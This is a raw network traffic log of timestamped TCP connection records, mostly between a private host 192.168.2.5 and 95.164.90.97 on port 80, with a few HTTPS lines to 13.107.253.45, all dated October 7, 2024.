Oct 7, 2024 21:18:42.226933002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226942062 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.226967096 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226975918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227000952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227008104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227035999 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227047920 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227071047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227077007 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227116108 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227123022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227158070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227173090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227197886 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227207899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227241993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227252007 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227274895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227283955 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227308989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227320910 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227353096 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227365971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227408886 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227422953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227464914 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227473021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227507114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227516890 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227540970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227550983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227575064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227583885 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227608919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227617025 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227643013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227650881 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227675915 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227683067 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227710009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227716923 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227744102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227751017 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227781057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227786064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227823019 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.227957010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.227989912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228023052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228037119 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.228055954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228065968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.228090048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228122950 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228133917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.228156090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228203058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228215933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.228238106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228246927 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.228271961 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228305101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228317976 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.228338957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228373051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228385925 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.228405952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228420019 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.228442907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228487968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.228615999 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228648901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228662968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.228688955 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.228698969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228732109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228741884 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.228766918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228775024 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.228801966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228832960 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228842020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.228867054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228902102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228909969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.228935957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.228945971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.228971004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229005098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229016066 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.229037046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229049921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.229072094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229104996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229116917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.229140043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229175091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229187965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.229211092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229217052 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.229243994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229278088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229293108 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.229312897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229345083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229360104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.229388952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.229482889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229516983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229549885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229562998 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.229583025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229615927 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229628086 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.229650021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229657888 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.229686022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229718924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.229731083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.231365919 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.255925894 CEST	443	49875	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.256464958 CEST	49875	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.256488085 CEST	443	49875	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.257076979 CEST	49875	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.257088900 CEST	443	49875	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.304203033 CEST	443	49872	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.304802895 CEST	49872	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.304831028 CEST	443	49872	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.305514097 CEST	49872	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.305524111 CEST	443	49872	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.307174921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307204962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307218075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307265997 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.307295084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307311058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307327986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307344913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307344913 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.307364941 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.307389021 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.307431936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307447910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307476997 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.307493925 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.307517052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307534933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307549000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307565928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.307589054 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.307641029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307656050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307672024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307686090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307694912 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.307709932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.307729006 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.307786942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307802916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307816982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307833910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307843924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.307849884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307864904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.307883024 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.307950020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307972908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.307987928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308002949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308018923 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308037996 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308048010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308128119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308142900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308166981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308175087 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308183908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308192015 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308202028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308207989 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308218956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308228016 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308235884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308238983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308249950 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308252096 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308269978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308283091 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308293104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308310986 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308568954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308615923 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308703899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308721066 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308736086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308751106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308752060 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308760881 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308765888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308782101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308789968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308789968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308796883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308804989 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308814049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308821917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308831930 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308839083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308850050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308865070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308873892 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308873892 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308881998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308898926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308907032 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308916092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308928013 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308933020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308938026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308948040 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308950901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.308978081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.308995008 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.309004068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309020042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309026957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309035063 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309041023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309058905 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309067965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.309075117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309088945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.309089899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309107065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309118986 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.309123993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309130907 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.309142113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309159040 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.309170008 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.309180975 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.309701920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309716940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309732914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309745073 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.309750080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309756041 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.309767962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309775114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.309784889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309794903 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.309801102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309814930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.309818983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309825897 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.309839010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309844971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.309854031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.309861898 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.309880972 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.309895992 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310120106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310136080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310151100 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310165882 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310177088 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310180902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310198069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310209036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310209036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310214996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310230970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310242891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310247898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310252905 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310262918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310264111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310281038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310286045 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310297966 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310316086 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310503960 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310519934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310535908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310553074 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310573101 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310573101 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310678005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310694933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310709953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310719967 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310726881 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310729027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310744047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310750961 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310760021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310762882 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310772896 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310776949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310794115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310801029 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310811043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310827017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310833931 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310833931 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310843945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310847044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310859919 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310861111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310878038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.310889959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310899973 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.310918093 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.311141014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.311156988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.311197996 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.311304092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.311320066 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.311335087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.311351061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.311362982 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.311367989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.311374903 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.311398983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.311403036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.311419964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.311431885 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.311435938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.311448097 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.311459064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.311460018 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.311475992 CEST	80	49810	95.164.90.97	192.168.2.5
